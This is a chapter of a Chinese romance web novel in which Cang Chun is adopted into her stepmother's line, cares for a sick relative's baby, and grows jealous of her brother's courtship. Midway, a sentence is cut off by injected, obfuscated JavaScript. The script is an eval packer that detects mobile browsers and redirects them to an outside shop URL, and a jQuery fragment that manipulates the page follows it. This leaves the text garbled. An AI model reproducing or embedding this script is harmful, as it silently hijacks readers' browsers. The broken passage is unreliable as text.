戚风堂踏入正院堂屋,将一罐汴京城里最时兴的蔷薇露香膏递给宋明音。
宋明音拈起小瓶对着光线细看,“瞧瞧,咱们家大郎眼里总算还装着他亲娘。”奶娘凑趣笑着:“正是呢,大夫人今日可是顺意了。”
两人只顾着赏鉴香膏,笑语晏晏,倒把戚风堂晾在一边,他无奈地轻咳一声,待她们兴致稍歇,才正色开口:“娘,今日来还有一事需与您商议,儿子思虑再三,想将二妹妹过继到您名下,您看如何?”
宋明音上扬的嘴角一下子耷拉下去,将手里的香膏掷回戚风堂怀中:“我算是明白了,什么叫无事不登三宝殿,成日里把你那二妹妹挂在心尖尖上,几时见你这样惦记过亲娘?”
“娘,此言差矣,二妹妹总是戚家骨血,若能记在您名下,身份更显体面,于她日后婚配,于幺儿的前程,于戚家门楣,皆是好事。”戚风堂绕到她身后,费尽唇舌,宋明音才勉强压下那份不情愿,撇过头去哼了一声:“罢罢罢,横竖这个家如今是你戚大少爷做主,我说的话早成了耳旁风,你想怎样便怎样吧。”
说罢,到底舍不得那又稀罕又值钱的蔷薇香膏,重新从他怀里拿了回去。
戚风堂松了口气,在回廊遇见兰翠,便将此事告知,兰翠喜形于色,连连抚掌:“这可真是好事,二小姐若知晓,还不知道怎么高兴呢。”
藏春从揽春阁回来便闻听了此讯,耳边一阵轰隆,反应让人意外。
“翠姨,我不愿…我真的不需要,我这就去寻哥哥说清楚。”早知如此,她昨天就不该在他面前,提什么劳什子庶女。她真的不想和他的关系再近一层了。
“二小姐,你这又是犯的什么糊涂?这是好事啊,大少爷都是为你好。”
“翠姨,你不懂,我不想做大夫人的女儿……”兰翠只道她对幼年被送出府的旧事难以释怀,苦劝道:“事情都过了这么多年了,你该往前瞧,忍这一时,换得将来良缘美眷,才是正经道理。”
是啊,她有什么理由去拒绝戚风堂的这份好意?
藏春闷闷地平躺在塌上,面前好像有一层薄薄的无形的纱,缓缓地坠落下来,覆在她的口鼻上,她闷得不能呼吸,才发觉上面竟然粘湿了水。
过继之礼在金玉阁里举行,藏春在铺着锦垫的地上,对着上首端坐的宋明音,缓缓跪下,深深叩首三次,口中低低唤出那陌生的称谓。
在戚焕和戚风堂隐含催促的目光下,宋明音从鼻腔里挤出一声轻哼,将戚风堂早已备好的一只白玉宽镯,不甚情愿地套进藏春纤细的手腕。
幺儿好奇地凑过来,摸了摸那冰凉滑腻的玉镯,“二姐姐,这下你可跟我一样,都是娘的女儿啦。”
“不一样的,永远都不一样的。”藏春垂着眼睑,声音低微似呓语,幺儿未曾听清,更未曾听懂。
戚风堂站一旁,唇边噙着如释重负的浅笑,这笑意落入藏春眼中,却像细密的芒刺,不轻不重地扎在心上。
藏春扪心自问,他的确是一个无可挑剔的好兄长,从小到大,事事为她操心。可是如果一切可以重来,她宁可从未靠近过这份令人窒息的“周全”,不接受他的好,是不是现在也不会陷入这般痛苦无望的境地。
她仓促避开戚风堂的目光,脚步沉沉向外走去。
刚步出了门,便见张诗隐家做饭的宋婶子正搓着手在石阶下徘徊张望。
“亲家小姐。”宋婶子一见她,如见救星,急步上前,“可算见着您了,张嫂子这几日病势汹汹,高热不退人都昏沉了,我们大人日夜守在榻前,衙门里的公务全都撂下了,长幸小姐哭闹着要姨,嗓子都哭哑了,大人怕烦扰您,不让来寻,可我瞧着实在不成样子了。”
藏春无暇顾及其他,当即随宋婶子赶往张家,才几日未见,张嫂子怎就病到这步田地?
此刻本该是张诗隐在官署理事的时辰,藏春却见他身着皱巴巴的长衫,憔悴地守在张嫂子房中,怀里还抱着哭得脸通红的长幸。
孩子在他怀里不安地扭动哭嚎,他前襟被吐了一片奶渍,狼狈又疲惫。
看见来人,张诗隐责备地瞥了宋婶一眼。
“不必看她,是我自己要来的,衙门公务哪是能长久荒废的,把长幸交给我,张嫂子有宋婶照看,屋里屋外自有我们支应,你也没什么好不放心的。”
“可是……”张诗隐面露挣扎,即便藏春是长幸的亲小姨,他也不想麻烦她,他最不想麻烦的人便是她。
藏春柔而稳当地将抽噎着的长幸接抱过来,“我也并非日日在此,待张嫂子病情稍稳,你自当能兼顾。”
许是长幸将藏春当成了娘亲,一到她怀里,哭声便渐渐弱了,小脑袋靠在她肩头。
张诗隐下颌紧绷,终是颔首。
正要转身,又被藏春唤住。
他回头怔了一下,藏春轻轻一笑,伸出托抱着长幸屁股的一根手指,远远的指着他的胸口,“更衣再去吧,别让同僚们笑话。”
张诗隐低头,这才发觉衣襟上那片醒目的奶渍,顿时面上一热,若这副模样出现在衙门,只怕明日御史台弹劾他失仪的折子就要递上去。
他走以后,藏春与宋婶子立时忙碌起来,张嫂子勉强能喂进几口温热的粟米羹,宋婶叹息:“大夫瞧了,说凶险过些,熬过这几日高热便有望,只是这汤药喂不进口中,着实揪心。”
待到将长幸在摇篮里睡安稳,张嫂子也沉沉睡去,藏春方坐到文芝床边。
文芝那双眼睛竭力转着,艰难的翕动,“长……”
“长幸睡了,很乖。”藏春指腹沾湿了温水,轻轻润了润文芝干裂的唇,“你得快些好起来,否则你们以后的日子…该怎么过?”
文芝看她眼神依旧是不甘心,藏春反而平静下来,对着这个无法言语之人,压抑心底的痛苦竟缓缓吐出,“你说,倾心一人,为何就这般难?”
文芝用尽力气,她当然知道她说的是谁,大大的翻了一个白眼。
藏春浑不在意,兀自低喃:“我从小跟在他身边,是什么时候把他当哥哥,又是什么时候不想把他当哥哥的,连我自己也不能记清了,许是那经年累月的呵护,许是他骨血里那份对妹妹天经地义的责任与照顾。”
她顿了顿,望着那双不甘的眼睛,“你呢,可曾后悔了,拼尽所有换来一场无爱的姻缘,值当么?”
许久没有回应,藏春才想起来她说不了话,她将药用细汤匙搅凉了放在一旁的小几上,等着张诗隐回来喂她,其他人喂的药,文芝不是摔了,就是死命不喝,连宋婶子都没办法,藏春也不想自讨没趣。
此后数日,藏春料理好长幸与张嫂子,便携一卷书或一方未完成的绣绷,静静坐在廊下吹风,有时痴望着庭院里钻出的几茎小草,估摸张诗隐快下衙回来,她便悄然离去,相助之余,亦避开了许多无言相对的尴尬。
“藏春。”张诗隐回来得早了些,便将欲走的她堵在了门口。
“嫂子的病好一些了,这些日子辛苦你和宋婶了,明日我休沐,又是过节,我想让宋婶回去休息两天。”
藏春一怔,似乎不知道他口中说的是什么节。
“明日是六月六,天贶节,此乃汴京盛会,古籍中亦有载,听同僚说会彻夜喧嚣,会仙楼前有水傀儡,水秋千奇技。”他语气带着一丝遗憾与愧意,“长幸自出生还未曾见过这等热闹,你若得闲,不知可否一同前往,也好……照应长幸。”
与他同游,藏春下意识便要婉拒。
“长幸她时常哭闹着寻小姨,尤其人多杂乱之时,我怕独自带她出去,万一哭闹起来……不过你不去也没关系,是我唐突了。”张诗隐有些后悔,脚步微微向后。
孩子几乎是藏春看着从襁褓中长大的,她也想带她看看这人间烟火的热闹光景,她放下心头负担,应承下了。
这一连数日,戚风堂亦是早出晚归,鲜少露面,只有不时放在门口的糕点,让藏春知道他来过。
.
天贶节没有古书中记载与张诗隐同僚口中那么流光溢彩,引人入胜,但是确实是比寻常会热闹些。
会仙楼前搭起彩棚,并非传闻中的水傀儡,而是当红花魁身着薄纱,踏水而舞,水袖翻飞。
鼓点声紧密而有节奏,平整的水珠随着圆锤起起落落,像是用针线穿起了一片流动的水帘。
长幸乌溜溜的大眼睛里映着阑珊灯火,兴奋地咿呀叫着,咯咯笑弯了眼。
藏春看得心软软,从路边吹糖人摊子买来一只糖兔儿,轻轻掰下一小块糖角,逗弄着送到长幸嘴边。小家伙连她沾着糖屑的手指也一并吸吮过去,逗得藏春也眉眼弯弯。
张诗隐看着她们俩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932983|188998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的笑容,心头难得觉得轻松快意。
他取出一方干净的帕子递给藏春擦手,藏春一边擦拭,一边对着吮吸糖块的长幸做了个可爱的鬼脸。
“你带长幸,比我带得好太多。”张诗隐看着女儿少见的笑脸,语气里带着真诚的感慨,“我哄她时,她鲜少这般笑闹。”他甚至一度以为女儿随了自己,天生冷清性子。
“那是因为你整日眉头紧锁,”藏春煞有介事地瞥他一眼,“小孩子最是敏感,能觉出你心头不快,自然也不肯笑了。”
“当真?”张诗隐愕然,从未想过女儿的不爱笑竟与自己有关。
他心中涌起苦涩,曾几何时,他渴望的不过是一个安稳的家,一个倾心相待的妻,足以抵御世间风霜,如今官袍加身,却只觉得这官署与病榻之的日子,沉重得令人窒息。
热闹的节日,年轻的男女也多了由头出来闲晃,朱雀大街当属汴京最繁华的去处,节日里更是人流如织。
戚风堂正陪沈开慧闲逛。
这位沈小姐是戚宝斋的常客,出身米行巨贾之家,出手阔绰,更难得的是对玉石鉴赏颇有见地,每每点评总能说到戚风堂心坎上,两人相谈甚欢,一来二去便也称得上相熟。
今日天贶佳节,难得的机会,沈开慧主动相邀,戚风堂欣然应允,既是心照不宣,也是郎情妾意的试探。
行至一处售卖通草绒花的摊子前,染色绒花栩栩如生,精巧别致。
戚风堂走上前时眼神刻意在沈开慧身上流连了一番,才信手拈起一朵十分衬她衣裙的豆绿色绒花,他侧身靠近,动作轻柔地将花簪入沈开慧发间,“名花倾国两相欢,此花正配沈小姐。”
戚风堂微微一笑,惹得沈开慧面红耳赤,她指尖轻抚头顶绒花,只觉满目鲜妍不及戚风堂姿容华丽。
再往前几步,便是一条稍显僻静的巷口,沈开慧心潮起伏,鼓足勇气停下脚步。戚风堂不解地看向她。
沈开慧轻轻的拉下他的衣襟,戚风堂顺着她的力气微微低头,她踮起脚尖,飞快的在他唇上印下一吻,随即红着脸跑开,连头上的绒花都落在了地上。
戚风堂俯身拾起那朵绒花,面上并无太多波澜,他缓缓直起身,再抬起头来,目光与隔着一条河的藏春对上。
她静静的站着,身后是拿着拨浪鼓低头逗长幸的张诗隐。
戚风堂嘴唇微张,看着潋滟的对岸,心头莫名有些发虚,几乎是本能地,握着绒花的手悄然背到了身后。
藏春仿佛只是随意一瞥,未曾看清,也未曾在意。
只是一个错眼的功夫,戚风堂再抬眼,河对岸已不见了她的身影。
喧闹笑语中,长幸稳稳地趴在了张诗隐肩上,他一只手护着她的头,孩子已经睡熟,他便也没理由逛这毫无亮点的街市。
他连想要送藏春回去,都要顾及着怀中的小人会不会突然惊醒,又哭闹起来。他在原地,眼光灼灼的看着远处的纤细的身影融入人流。
他轻轻的,像羽毛一般,带着无限柔情,在长幸的毛茸茸的发顶亲了一口。
藏春疾步回去,一句话没说,直接“嘭”的一声关上了门。她走到床塌前,将上面的锦被,软枕都全都丢到地上。
露出那件被她藏起来的白色外袍。
她用力往外拽,却觉得怎么都拽不出来了,最后精疲力竭,连同整个连褥子一起拖到了木板地上。
这件衣裳不知是她偷偷打量了多少次戚风堂的身形,又拿出来调整了多少次,改了多少次针脚,才变成如今的样子。
她两三步跨下去,寻针线筐子,抄起一把剪刀,用力的铰碎,然后用力拉开扯碎。
一块块都布料缝起来那么难,撕起来却容易多了。
剪刀在她手上勒出来了红印子,一块块布料瞬间在无法自控的情绪下被扯得七零八碎,藏春颤着身子,一丝后悔冒头,有些手抖想要捡回来。
脑中却又想到方才看到那亲昵的一幕,缓缓缩回手,蜷缩着膝盖坐了回来,她紧紧的靠着床榻,下巴抵在双膝上。
她低估了自己的欲望,更低估了自己的嫉妒。
脚步声逼近门口,戚风堂推门而入。
看着满地狼藉和坐着的藏春。他蹲下身,一片片拾起那些料子碎片,布料上的针脚细密,颜色纹样无一不是他素日所喜。